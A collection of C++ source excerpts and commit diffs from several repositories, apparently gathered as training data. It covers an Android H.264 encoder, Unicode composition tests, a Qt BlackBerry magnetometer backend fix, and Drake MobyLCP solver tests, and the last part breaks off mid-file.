(bitrateK < maxBitrateK ? bitrateK : maxBitrateK) * 1024
);
}
}
void SimpleH264EncoderImpl::requestKeyFrame() {
Mutex::Autolock autolock(mutex);
if (mediaCodecSource != nullptr) {
mediaCodecSource->requestIDRFrame();
}
}
void SimpleH264EncoderImpl::nextFrame(android::MediaBuffer *yuv420SemiPlanarFrame) {
Mutex::Autolock autolock(mutex);
if (frameQueue == nullptr) {
ALOGI("Stopped, ignoring frame");
} else {
const size_t size = height * width * 3 / 2;
if (yuv420SemiPlanarFrame->range_length() != size) {
ALOGE("Invalid buffer size: %d, expected %d", yuv420SemiPlanarFrame->range_length(), size);
} else {
frameQueue->nextFrame(yuv420SemiPlanarFrame);
return;
}
}
yuv420SemiPlanarFrame->release();
}
class UserMediaBuffer: public android::MediaBuffer {
public:
UserMediaBuffer(void *data, size_t size, void (*deallocator)(void *))
: MediaBuffer(data, size),
deallocator(deallocator) {}
protected:
~UserMediaBuffer() {
deallocator(data());
}
private:
void (*deallocator)(void *);
};
void SimpleH264EncoderImpl::nextFrame(void *yuv420SemiPlanarFrame, long long timeMillis, void (*deallocator)(void *)) {
auto buffer = new UserMediaBuffer(
yuv420SemiPlanarFrame,
height * width * 3 / 2,
deallocator
);
buffer->meta_data()->setInt64(kKeyTime, timeMillis * 1000);
nextFrame(buffer);
}
void SimpleH264EncoderImpl::stop() {
Mutex::Autolock autolock(mutex);
framePuller->requestExit();
if (mediaCodecSource != nullptr) {
mediaCodecSource->stop();
}
if (frameQueue != nullptr) {
frameQueue->stop();
}
if (looper != nullptr) {
looper->stop();
}
if (framePuller->isRunning()) {
framePuller->join();
CHECK(!framePuller->isRunning());
}
frameQueue = nullptr;
mediaCodecSource = nullptr;
looper = nullptr;
delete [] codecConfig;
codecConfig = nullptr;
codecConfigLength = 0;
delete [] encodedFrame;
encodedFrame = nullptr;
encodedFrameMaxLength = 0;
}
bool SimpleH264EncoderImpl::threadLoop() {
MediaBuffer *buffer;
status_t err = mediaCodecSource->read(&buffer);
if (err != ::OK) {
ALOGE("Error reading from source: %d", err);
return false;
}
if (buffer == NULL) {
ALOGE("Failed to get buffer from source");
return false;
}
int32_t isCodecConfig = 0;
int32_t isIFrame = 0;
int64_t timestamp = 0;
if (buffer->meta_data() == NULL) {
ALOGE("Failed to get buffer meta_data()");
return false;
}
buffer->meta_data()->findInt32(kKeyIsCodecConfig, &isCodecConfig);
buffer->meta_data()->findInt32(kKeyIsSyncFrame, &isIFrame);
if (isCodecConfig) {
if (codecConfig) {
delete [] codecConfig;
}
codecConfigLength = buffer->range_length();
codecConfig = new uint8_t[codecConfigLength];
memcpy(codecConfig,
static_cast<uint8_t*>(buffer->data()) + buffer->range_offset(),
codecConfigLength
);
} else {
EncodedFrameInfo info;
info.userData = frameOutUserData;
info.keyFrame = isIFrame;
int64_t timeMicro = 0;
buffer->meta_data()->findInt64(kKeyTime, &timeMicro);
info.timeMillis = timeMicro / 1000;
if (isIFrame) {
int encodedFrameLength = codecConfigLength + buffer->range_length();
if (encodedFrame == nullptr ||
encodedFrameMaxLength < encodedFrameLength) {
encodedFrameMaxLength = encodedFrameLength + encodedFrameLength / 2;
delete [] encodedFrame;
encodedFrame = new uint8_t[encodedFrameMaxLength];
}
// Always send codecConfig with an i-frame to make the stream more
// resilient
if (codecConfig) {
memcpy(encodedFrame, codecConfig, codecConfigLength);
}
memcpy(
encodedFrame + codecConfigLength,
static_cast<uint8_t*>(buffer->data()) + buffer->range_offset(),
buffer->range_length()
);
info.encodedFrame = encodedFrame;
info.encodedFrameLength = encodedFrameLength;
} else {
info.encodedFrame = static_cast<uint8_t*>(buffer->data()) + buffer->range_offset();
info.encodedFrameLength = buffer->range_length();
}
frameOutCallback(info);
}
buffer->release();
return true;
}
SimpleH264Encoder *SimpleH264Encoder::Create(int width,
int height,
int maxBitrateK,
int targetFps,
FrameOutCallback frameOutCallback,
void *frameOutUserData) {
return SimpleH264EncoderImpl::Create(
width,
height,
maxBitrateK,
targetFps,
frameOutCallback,
frameOutUserData
);
}
<|endoftext|>
|
<commit_before>#include "tests-base.hpp"
extern "C" {
#include "../normalization.h"
}
TEST(QueryComposition, NoResult)
{
unicode_t r = querycomposition(0x00000002F, 0x00001988, nullptr);
EXPECT_EQ(0, r);
}
TEST(QueryComposition, Found)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00001F7C, 0x00000345, &e);
EXPECT_EQ(0x00001FF2, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundFirst)
{
int32_t e = 0;
unicode_t r = querycomposition(0x0000003C, 0x00000338, &e);
EXPECT_EQ(0x0000226E, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundLast)
{
int32_t e = 0;
unicode_t r = querycomposition(0x0001D1BC, 0x0001D16F, &e);
EXPECT_EQ(0x0001D1C0, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundPivot)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00000399, 0x00000314, &e);
EXPECT_EQ(0x00001F39, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundPivotUp)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00000069, 0x00000306, &e);
EXPECT_EQ(0x0000012D, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundPivotDown)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00001F00, 0x00000345, &e);
EXPECT_EQ(0x00001F80, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundPivotDownDown)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00001FFE, 0x00000301, &e);
EXPECT_EQ(0x00001FDE, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundMaxDepth)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00002282, 0x00000338, &e);
EXPECT_EQ(0x00002284, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, Missing)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00001F28, 0x00001D16, &e);
EXPECT_EQ(0, r);
EXPECT_EQ(FindResult_Missing, e);
}
TEST(QueryComposition, MissingOutOfLowerBounds)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00000001, 0x0000011D, &e);
EXPECT_EQ(0, r);
EXPECT_EQ(FindResult_OutOfBounds, e);
}
TEST(QueryComposition, MissingOutOfUpperBounds)
{
int32_t e = 0;
unicode_t r = querycomposition(0xABABABAB, 0xDADADADA, &e);
EXPECT_EQ(0, r);
EXPECT_EQ(FindResult_OutOfBounds, e);
}<commit_msg>suite-internal-querycomposition: Fixed broken test due to changes in data.<commit_after>#include "tests-base.hpp"
extern "C" {
#include "../normalization.h"
}
TEST(QueryComposition, NoResult)
{
unicode_t r = querycomposition(0x00000002F, 0x00001988, nullptr);
EXPECT_EQ(0, r);
}
TEST(QueryComposition, Found)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00001F7C, 0x00000345, &e);
EXPECT_EQ(0x00001FF2, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundFirst)
{
int32_t e = 0;
unicode_t r = querycomposition(0x0000003C, 0x00000338, &e);
EXPECT_EQ(0x0000226E, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundLast)
{
int32_t e = 0;
unicode_t r = querycomposition(0x000115B9, 0x000115AF, &e);
EXPECT_EQ(0x000115BB, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundPivot)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00000399, 0x00000314, &e);
EXPECT_EQ(0x00001F39, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundPivotUp)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00000069, 0x00000306, &e);
EXPECT_EQ(0x0000012D, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundPivotDown)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00001F00, 0x00000345, &e);
EXPECT_EQ(0x00001F80, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundPivotDownDown)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00001FFE, 0x00000301, &e);
EXPECT_EQ(0x00001FDE, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, FoundMaxDepth)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00002282, 0x00000338, &e);
EXPECT_EQ(0x00002284, r);
EXPECT_EQ(FindResult_Found, e);
}
TEST(QueryComposition, Missing)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00001F28, 0x00001D16, &e);
EXPECT_EQ(0, r);
EXPECT_EQ(FindResult_Missing, e);
}
TEST(QueryComposition, MissingOutOfLowerBounds)
{
int32_t e = 0;
unicode_t r = querycomposition(0x00000001, 0x0000011D, &e);
EXPECT_EQ(0, r);
EXPECT_EQ(FindResult_OutOfBounds, e);
}
TEST(QueryComposition, MissingOutOfUpperBounds)
{
int32_t e = 0;
unicode_t r = querycomposition(0xABABABAB, 0xDADADADA, &e);
EXPECT_EQ(0, r);
EXPECT_EQ(FindResult_OutOfBounds, e);
}<|endoftext|>
|
<commit_before>/****************************************************************************
**
** Copyright (C) 2012 Research In Motion
** Contact: http://www.qt-project.org/legal
**
** This file is part of the QtSensors module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and Digia. For licensing terms and
** conditions see http://qt.digia.com/licensing. For further information
** use the contact form at http://qt.digia.com/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Digia gives you certain additional
** rights. These rights are described in the Digia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3.0 as published by the Free Software
** Foundation and appearing in the file LICENSE.GPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU General Public License version 3.0 requirements will be
** met: http://www.gnu.org/copyleft/gpl.html.
**
**
** $QT_END_LICENSE$
**
****************************************************************************/
#include "bbmagnetometer.h"
BbMagnetometer::BbMagnetometer(QSensor *sensor)
: BbSensorBackend<QMagnetometerReading>(devicePath(), SENSOR_TYPE_MAGNETOMETER, sensor)
{
setDescription(QLatin1String("Magnetic flux density in Teslas (T)"));
}
QString BbMagnetometer::devicePath()
{
return QLatin1String("/dev/sensor/mag");
}
bool BbMagnetometer::updateReadingFromEvent(const sensor_event_t &event, QMagnetometerReading *reading)
{
float x, y, z;
QMagnetometer * const magnetometer = qobject_cast<QMagnetometer *>(sensor());
Q_ASSERT(magnetometer);
const bool returnGeoValues = magnetometer->returnGeoValues();
if (returnGeoValues) {
switch (event.accuracy) {
case SENSOR_ACCURACY_UNRELIABLE: reading->setCalibrationLevel(0.0f); break;
case SENSOR_ACCURACY_LOW: reading->setCalibrationLevel(0.1f); break;
// We determined that MEDIUM should map to 1.0, because existing code samples
// show users should pop a calibration screen when seeing < 1.0. The MEDIUM accuracy
// is actually good enough not to require calibration, so we don't want to make it seem
// like it is required artificially.
case SENSOR_ACCURACY_MEDIUM: reading->setCalibrationLevel(1.0f); break;
case SENSOR_ACCURACY_HIGH: reading->setCalibrationLevel(1.0f); break;
}
x = convertValue(event.motion.dsp.x);
y = convertValue(event.motion.dsp.y);
z = convertValue(event.motion.dsp.z);
} else {
reading->setCalibrationLevel(1.0f);
#ifndef Q_OS_BLACKBERRY_TABLET
x = convertValue(event.motion.raw.x);
y = convertValue(event.motion.raw.y);
z = convertValue(event.motion.raw.z);
#else
// Blackberry Tablet OS does not support raw reading values
x = convertValue(event.motion.dsp.x);
y = convertValue(event.motion.dsp.y);
z = convertValue(event.motion.dsp.z);
#endif
}
remapAxes(&x, &y, &z);
reading->setX(x);
reading->setY(y);
reading->setZ(z);
return true;
}
qreal BbMagnetometer::convertValue(float bbValueInMicroTesla)
{
// Convert from microtesla to tesla
return bbValueInMicroTesla * 1.0e-6;
}
<commit_msg>BlackBerry: Fix for GeoValues support<commit_after>/****************************************************************************
**
** Copyright (C) 2012 Research In Motion
** Contact: http://www.qt-project.org/legal
**
** This file is part of the QtSensors module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and Digia. For licensing terms and
** conditions see http://qt.digia.com/licensing. For further information
** use the contact form at http://qt.digia.com/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Digia gives you certain additional
** rights. These rights are described in the Digia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3.0 as published by the Free Software
** Foundation and appearing in the file LICENSE.GPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU General Public License version 3.0 requirements will be
** met: http://www.gnu.org/copyleft/gpl.html.
**
**
** $QT_END_LICENSE$
**
****************************************************************************/
#include "bbmagnetometer.h"
BbMagnetometer::BbMagnetometer(QSensor *sensor)
: BbSensorBackend<QMagnetometerReading>(devicePath(), SENSOR_TYPE_MAGNETOMETER, sensor)
{
setDescription(QLatin1String("Magnetic flux density in Teslas (T)"));
}
QString BbMagnetometer::devicePath()
{
return QLatin1String("/dev/sensor/mag");
}
bool BbMagnetometer::updateReadingFromEvent(const sensor_event_t &event, QMagnetometerReading *reading)
{
float x, y, z;
QMagnetometer * const magnetometer = qobject_cast<QMagnetometer *>(sensor());
if (magnetometer && magnetometer->returnGeoValues()) {
switch (event.accuracy) {
case SENSOR_ACCURACY_UNRELIABLE: reading->setCalibrationLevel(0.0f); break;
case SENSOR_ACCURACY_LOW: reading->setCalibrationLevel(0.1f); break;
// We determined that MEDIUM should map to 1.0, because existing code samples
// show users should pop a calibration screen when seeing < 1.0. The MEDIUM accuracy
// is actually good enough not to require calibration, so we don't want to make it seem
// like it is required artificially.
case SENSOR_ACCURACY_MEDIUM: reading->setCalibrationLevel(1.0f); break;
case SENSOR_ACCURACY_HIGH: reading->setCalibrationLevel(1.0f); break;
}
x = convertValue(event.motion.dsp.x);
y = convertValue(event.motion.dsp.y);
z = convertValue(event.motion.dsp.z);
} else {
reading->setCalibrationLevel(1.0f);
#ifndef Q_OS_BLACKBERRY_TABLET
x = convertValue(event.motion.raw.x);
y = convertValue(event.motion.raw.y);
z = convertValue(event.motion.raw.z);
#else
// Blackberry Tablet OS does not support raw reading values
x = convertValue(event.motion.dsp.x);
y = convertValue(event.motion.dsp.y);
z = convertValue(event.motion.dsp.z);
#endif
}
remapAxes(&x, &y, &z);
reading->setX(x);
reading->setY(y);
reading->setZ(z);
return true;
}
qreal BbMagnetometer::convertValue(float bbValueInMicroTesla)
{
// Convert from microtesla to tesla
return bbValueInMicroTesla * 1.0e-6;
}
<|endoftext|>
|
<commit_before>
#include <memory>
#include <vector>
#include <gtest/gtest.h>
#include "drake/solvers/MobyLCP.h"
#include "drake/util/testUtil.h"
namespace {
const double epsilon = 1e-6;
const bool verbose = false;
template <typename Derived>
Eigen::SparseMatrix<double> makeSparseMatrix(
const Eigen::MatrixBase<Derived>& M) {
typedef Eigen::Triplet<double> Triplet;
std::vector<Triplet> triplet_list;
for (int i = 0; i < M.rows(); i++) {
for (int j = 0; j < M.cols(); j++) {
if (M(i, j)) {
triplet_list.push_back(Triplet(i, j, M(i, j)));
}
}
}
Eigen::SparseMatrix<double> out(M.rows(), M.cols());
out.setFromTriplets(triplet_list.begin(), triplet_list.end());
return out;
}
/// Run all non-regularized solvers. If @p expected_z is an empty
/// vector, outputs will only be compared against each other.
template <typename Derived>
void runBasicLCP(const Eigen::MatrixBase<Derived>& M, const Eigen::VectorXd& q,
const Eigen::VectorXd& expected_z_in, bool expect_fast_pass) {
Drake::MobyLCPSolver l;
l.setLoggingEnabled(verbose);
Eigen::VectorXd expected_z = expected_z_in;
Eigen::VectorXd fast_z;
bool result = l.lcp_fast(M, q, &fast_z);
if (expected_z.size() == 0) {
ASSERT_TRUE(expect_fast_pass) <<
"Expected Z not provided and expect_fast_pass unset.";
expected_z = fast_z;
} else {
if (expect_fast_pass) {
EXPECT_NO_THROW(valuecheckMatrix(fast_z, expected_z, epsilon));
} else {
EXPECT_THROW(valuecheckMatrix(fast_z, expected_z, epsilon),
std::runtime_error);
}
}
Eigen::VectorXd lemke_z;
result = l.lcp_lemke(M, q, &lemke_z);
EXPECT_NO_THROW(valuecheckMatrix(lemke_z, expected_z, epsilon));
Eigen::SparseMatrix<double> M_sparse = makeSparseMatrix(M);
lemke_z.setZero();
result = l.lcp_lemke(M_sparse, q, &lemke_z);
EXPECT_NO_THROW(valuecheckMatrix(lemke_z, expected_z, epsilon));
}
/// Run all regularized solvers. If @p expected_z is an empty
/// vector, outputs will only be compared against each other.
template <typename Derived>
void runRegularizedLCP(const Eigen::MatrixBase<Derived>& M,
const Eigen::VectorXd& q,
const Eigen::VectorXd& expected_z_in,
bool expect_fast_pass) {
Drake::MobyLCPSolver l;
l.setLoggingEnabled(verbose);
Eigen::VectorXd expected_z = expected_z_in;
Eigen::VectorXd fast_z;
bool result = l.lcp_fast_regularized(M, q, &fast_z);
if (expected_z.size() == 0) {
expected_z = fast_z;
} else {
if (expect_fast_pass) {
ASSERT_TRUE(result);
EXPECT_NO_THROW(valuecheckMatrix(fast_z, expected_z, epsilon))
<< "expected: " << expected_z << " actual " << fast_z
<< std::endl;
} else {
EXPECT_THROW(valuecheckMatrix(fast_z, expected_z, epsilon),
std::runtime_error);
}
}
Eigen::VectorXd lemke_z;
result = l.lcp_lemke_regularized(M, q, &lemke_z);
EXPECT_NO_THROW(valuecheckMatrix(lemke_z, expected_z, epsilon));
Eigen::SparseMatrix<double> M_sparse = makeSparseMatrix(M);
lemke_z.setZero();
result = l.lcp_lemke_regularized(M_sparse, q, &lemke_z);
EXPECT_NO_THROW(valuecheckMatrix(lemke_z, expected_z, epsilon));
}
/// Run all solvers. If @p expected_z is an empty
/// vector, outputs will only be compared against each other.
template <typename Derived>
void runLCP(const Eigen::MatrixBase<Derived>& M, const Eigen::VectorXd& q,
const Eigen::VectorXd& expected_z_in, bool expect_fast_pass) {
runBasicLCP(M, q, expected_z_in, expect_fast_pass);
runRegularizedLCP(M, q, expected_z_in, expect_fast_pass);
}
TEST(testMobyLCP, testTrivial) {
Eigen::Matrix<double, 9, 9> M;
M <<
1, 0, 0, 0, 0, 0, 0, 0, 0,
0, 2, 0, 0, 0, 0, 0, 0, 0,
0, 0, 3, 0, 0, 0, 0, 0, 0,
0, 0, 0, 4, 0, 0, 0, 0, 0,
0, 0, 0, 0, 5, 0, 0, 0, 0,
0, 0, 0, 0, 0, 6, 0, 0, 0,
0, 0, 0, 0, 0, 0, 7, 0, 0,
0, 0, 0, 0, 0, 0, 0, 8, 0,
0, 0, 0, 0, 0, 0, 0, 0, 9;
Eigen::Matrix<double, 9, 1> q;
q << -1, -1, -1, -1, -1, -1, -1, -1, -1;
Eigen::VectorXd empty_z;
runBasicLCP(M, q, empty_z, true);
// Mangle the input matrix so that some regularization occurs.
M(0,8) = 10;
runRegularizedLCP(M, q, empty_z, true);
}
TEST(testMobyLCP, testProblem1) {
// Problem from example 10.2.1 in "Handbook of Test Problems in
// Local and Global Optimization".
Eigen::Matrix<double, 16, 16> M;
M.setIdentity();
for (int i = 0; i < M.rows() - 1; i++) {
for (int j = i + 1; j < M.cols(); j++) {
M(i,j) = 2;
}
}
Eigen::Matrix<double, 1, 16> q;
q.fill(-1);
Eigen::Matrix<double, 1, 16> z;
z.setZero();
z(15) = 1;
runLCP(M, q, z, false);
}
TEST(testMobyLCP, testProblem2) {
// Problem from example 10.2.2 in "Handbook of Test Problems in
// Local and Global Optimization".
Eigen::Matrix<double, 2, 2> M;
M.fill(1);
Eigen::Matrix<double, 1, 2> q;
q.fill(-1);
// This problem also has valid solutions (0, 1) and (0.5, 0.5).
Eigen::Matrix<double, 1, 2> z;
z << 1, 0;
runLCP(M, q, z, true);
}
TEST(testMobyLCP, testProblem3) {
// Problem from example 10.2.3 in "Handbook of Test Problems in
// Local and Global Optimization".
Eigen::Matrix<double, 3, 3> M;
M <<
0, -1, 2,
2, 0, -2,
-1, 1, 0;
Eigen::Matrix<double, 1, 3> q;
q << -3, 6, -1;
Eigen::Matrix<double, 1, 3> z;
z << 0, 1, 3;
runLCP(M, q, z, true);
}
TEST(testMobyLCP, testProblem4) {
// Problem from example 10.2.4 in "Handbook of Test Problems in
// Local and Global Optimization".
Eigen::Matrix<double, 4, 4> M;
M <<
0, 0, 10, 20,
0, 0, 30, 15,
10, 20, 0, 0,
30, 15, 0, 0;
Eigen::Matrix<double, 1, 4> q;
q.fill(-1);
// This solution is the third in the book, which it explicitly
// states cannot be found using the Lemke-Howson algorithm.
Eigen::VectorXd z(4);
z << 1./90., 2./45., 1./90., 2./45.;
Drake::MobyLCPSolver l;
l.setLoggingEnabled(verbose);
Eigen::VectorXd fast_z;
bool result = l.lcp_fast(M, q, &fast_z);
EXPECT_NO_THROW(valuecheckMatrix(fast_z, z, epsilon));
// TODO sammy the Lemke solvers find no solution at all, however.
fast_z.setZero();
result = l.lcp_lemke(M, q, &fast_z);
EXPECT_FALSE(result);
Eigen::SparseMatrix<double> M_sparse = makeSparseMatrix(M);
result = l.lcp_lemke(M_sparse, q, &fast_z);
EXPECT_FALSE(result);
}
TEST(testMobyLCP, testProblem6) {
// Problem from example 10.2.9 in "Handbook of Test Problems in
// Local and Global Optimization".
Eigen::Matrix<double, 4, 4> M;
M <<
11, 0, 10, -1,
0, 11, 10, -1,
10, 10, 21, -1,
1, 1, 1, 0; // Note that the (3, 3) position is incorrectly
// shown in the book with the value 1.
// Pick a couple of arbitrary points in the [0, 23] range.
for (double l = 1; l <= 23; l += 15) {
Eigen::Matrix<double, 1, 4> q;
q << 50, 50, l, -6;
Eigen::Matrix<double, 1, 4> z;
z << (l + 16.) / 13.,
(l + 16.) / 13.,
(2. * (23 - l)) / 13.,
(1286. - (9. * l)) / 13;
runLCP(M, q, z, true);
}
// Try again with a value > 23 and see that we've hit the limit as
// described. The fast solver has stopped working in this case
// without regularization.
Eigen::Matrix<double, 1, 4> q;
q << 50, 50, 100, -6;
Eigen::Matrix<double, 1, 4> z;
z << 3, 3, 0, 83;
runLCP(M, q, z, true);
}
TEST(testMobyLCP, testEmpty) {
Eigen::MatrixXd empty_M(0, 0);
Eigen::VectorXd empty_q(0);
Eigen::VectorXd z;
Drake::MobyLCPSolver l;
l.setLoggingEnabled(verbose);
bool result = l.lcp_fast(empty_M, empty_q, &z);
EXPECT_TRUE(result);
EXPECT_EQ(z.size(), 0);
result = l.lcp_lemke(empty_M, empty_q, &z);
EXPECT_TRUE(result);
EXPECT_EQ(z.size(), 0);
Eigen::SparseMatrix<double> empty_sparse_M(0,0);
result = l.lcp_lemke(empty_sparse_M, empty_q, &z);
EXPECT_TRUE(result);
EXPECT_EQ(z.size(), 0);
result = l.lcp_fast_regularized(empty_M, empty_q, &z);
EXPECT_TRUE(result);
EXPECT_EQ(z.size(), 0);
result = l.lcp_lemke_regularized(empty_M, empty_q, &z);
EXPECT_TRUE(result);
EXPECT_EQ(z.size(), 0);
result = l.lcp_lemke_regularized(empty_sparse_M, empty_q, &z);
EXPECT_TRUE(result);
EXPECT_EQ(z.size(), 0);
}
}
<commit_msg>Updated testMobyLCP to use CompareMatrices(...).<commit_after>
#include <memory>
#include <vector>
#include <gtest/gtest.h>
#include "drake/solvers/MobyLCP.h"
#include "drake/util/testUtil.h"
#include "drake/util/eigen_matrix_compare.h"
using drake::util::MatrixCompareType;
namespace drake {
namespace test {
const double epsilon = 1e-6;
const bool verbose = false;
template <typename Derived>
Eigen::SparseMatrix<double> makeSparseMatrix(
const Eigen::MatrixBase<Derived>& M) {
typedef Eigen::Triplet<double> Triplet;
std::vector<Triplet> triplet_list;
for (int i = 0; i < M.rows(); i++) {
for (int j = 0; j < M.cols(); j++) {
if (M(i, j)) {
triplet_list.push_back(Triplet(i, j, M(i, j)));
}
}
}
Eigen::SparseMatrix<double> out(M.rows(), M.cols());
out.setFromTriplets(triplet_list.begin(), triplet_list.end());
return out;
}
/// Run all non-regularized solvers. If @p expected_z is an empty
/// vector, outputs will only be compared against each other.
template <typename Derived>
void runBasicLCP(const Eigen::MatrixBase<Derived>& M, const Eigen::VectorXd& q,
const Eigen::VectorXd& expected_z_in, bool expect_fast_pass) {
Drake::MobyLCPSolver l;
l.setLoggingEnabled(verbose);
Eigen::VectorXd expected_z = expected_z_in;
Eigen::VectorXd fast_z;
bool result = l.lcp_fast(M, q, &fast_z);
if (expected_z.size() == 0) {
ASSERT_TRUE(expect_fast_pass) <<
"Expected Z not provided and expect_fast_pass unset.";
expected_z = fast_z;
} else {
if (expect_fast_pass) {
EXPECT_TRUE(CompareMatrices(fast_z, expected_z, epsilon, MatrixCompareType::absolute));
} else {
EXPECT_FALSE(CompareMatrices(fast_z, expected_z, epsilon, MatrixCompareType::absolute));
}
}
Eigen::VectorXd lemke_z;
result = l.lcp_lemke(M, q, &lemke_z);
EXPECT_TRUE(CompareMatrices(lemke_z, expected_z, epsilon, MatrixCompareType::absolute));
Eigen::SparseMatrix<double> M_sparse = makeSparseMatrix(M);
lemke_z.setZero();
result = l.lcp_lemke(M_sparse, q, &lemke_z);
EXPECT_TRUE(CompareMatrices(lemke_z, expected_z, epsilon, MatrixCompareType::absolute));
}
/// Run all regularized solvers. If @p expected_z is an empty
/// vector, outputs will only be compared against each other.
template <typename Derived>
void runRegularizedLCP(const Eigen::MatrixBase<Derived>& M,
const Eigen::VectorXd& q,
const Eigen::VectorXd& expected_z_in,
bool expect_fast_pass) {
Drake::MobyLCPSolver l;
l.setLoggingEnabled(verbose);
Eigen::VectorXd expected_z = expected_z_in;
Eigen::VectorXd fast_z;
bool result = l.lcp_fast_regularized(M, q, &fast_z);
if (expected_z.size() == 0) {
expected_z = fast_z;
} else {
if (expect_fast_pass) {
ASSERT_TRUE(result);
EXPECT_TRUE(CompareMatrices(fast_z, expected_z, epsilon, MatrixCompareType::absolute))
<< "expected: " << expected_z << " actual " << fast_z
<< std::endl;
} else {
EXPECT_FALSE(CompareMatrices(fast_z, expected_z, epsilon, MatrixCompareType::absolute));
}
}
Eigen::VectorXd lemke_z;
result = l.lcp_lemke_regularized(M, q, &lemke_z);
EXPECT_TRUE(CompareMatrices(lemke_z, expected_z, epsilon, MatrixCompareType::absolute));
Eigen::SparseMatrix<double> M_sparse = makeSparseMatrix(M);
lemke_z.setZero();
result = l.lcp_lemke_regularized(M_sparse, q, &lemke_z);
EXPECT_TRUE(CompareMatrices(lemke_z, expected_z, epsilon, MatrixCompareType::absolute));
}
/// Run all solvers. If @p expected_z is an empty
/// vector, outputs will only be compared against each other.
template <typename Derived>
void runLCP(const Eigen::MatrixBase<Derived>& M, const Eigen::VectorXd& q,
const Eigen::VectorXd& expected_z_in, bool expect_fast_pass) {
runBasicLCP(M, q, expected_z_in, expect_fast_pass);
runRegularizedLCP(M, q, expected_z_in, expect_fast_pass);
}
TEST(testMobyLCP, testTrivial) {
Eigen::Matrix<double, 9, 9> M;
M <<
1, 0, 0, 0, 0, 0, 0, 0, 0,
0, 2, 0, 0, 0, 0, 0, 0, 0,
0, 0, 3, 0, 0, 0, 0, 0, 0,
0, 0, 0, 4, 0, 0, 0, 0, 0,
0, 0, 0, 0, 5, 0, 0, 0, 0,
0, 0, 0, 0, 0, 6, 0, 0, 0,
0, 0, 0, 0, 0, 0, 7, 0, 0,
0, 0, 0, 0, 0, 0, 0, 8, 0,
0, 0, 0, 0, 0, 0, 0, 0, 9;
Eigen::Matrix<double, 9, 1> q;
q << -1, -1, -1, -1, -1, -1, -1, -1, -1;
Eigen::VectorXd empty_z;
runBasicLCP(M, q, empty_z, true);
// Mangle the input matrix so that some regularization occurs.
M(0,8) = 10;
runRegularizedLCP(M, q, empty_z, true);
}
TEST(testMobyLCP, testProblem1) {
// Problem from example 10.2.1 in "Handbook of Test Problems in
// Local and Global Optimization".
Eigen::Matrix<double, 16, 16> M;
M.setIdentity();
for (int i = 0; i < M.rows() - 1; i++) {
for (int j = i + 1; j < M.cols(); j++) {
M(i,j) = 2;
}
}
Eigen::Matrix<double, 1, 16> q;
q.fill(-1);
Eigen::Matrix<double, 1, 16> z;
z.setZero();
z(15) = 1;
runLCP(M, q, z, false);
}
TEST(testMobyLCP, testProblem2) {
// Problem from example 10.2.2 in "Handbook of Test Problems in
// Local and Global Optimization".
Eigen::Matrix<double, 2, 2> M;
M.fill(1);
Eigen::Matrix<double, 1, 2> q;
q.fill(-1);
// This problem also has valid solutions (0, 1) and (0.5, 0.5).
Eigen::Matrix<double, 1, 2> z;
z << 1, 0;
runLCP(M, q, z, true);
}
TEST(testMobyLCP, testProblem3) {
